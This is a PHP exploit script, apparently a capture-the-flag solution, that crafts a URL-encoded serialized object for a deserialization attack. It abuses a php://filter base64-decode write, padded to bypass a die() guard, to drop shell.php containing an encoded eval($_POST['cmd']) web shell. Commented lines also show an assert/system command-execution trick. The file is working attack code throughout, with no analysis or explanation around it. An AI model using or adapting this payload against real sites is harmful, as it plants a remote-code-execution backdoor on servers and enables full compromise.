<?php
//$bN00b="assert";
//$ise="urldecode";
//$a="whoami";
//$huse="system($a)";
//$bN00b($ise($huse));

//$filename = 'php://filter/write=convert.base64-decode/resource=shell.php';
//$data = 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=';
//$add_str = '111';
/*$d = '<?php die("nononon");?>';*/
//$data = $d . $add_str . $data;
//file_put_contents($filename, $data);


class GWHT
{
    public $hero;

}

class Yongen
{
    public $file;
    public $text;
}


$a = new GWHT();
$a->hero = new Yongen();
$a->hero->file = 'php://filter/write=convert.base64-decode/resource=shell.php';
$a->hero->text = '111' . 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=';

echo urlencode(serialize($a));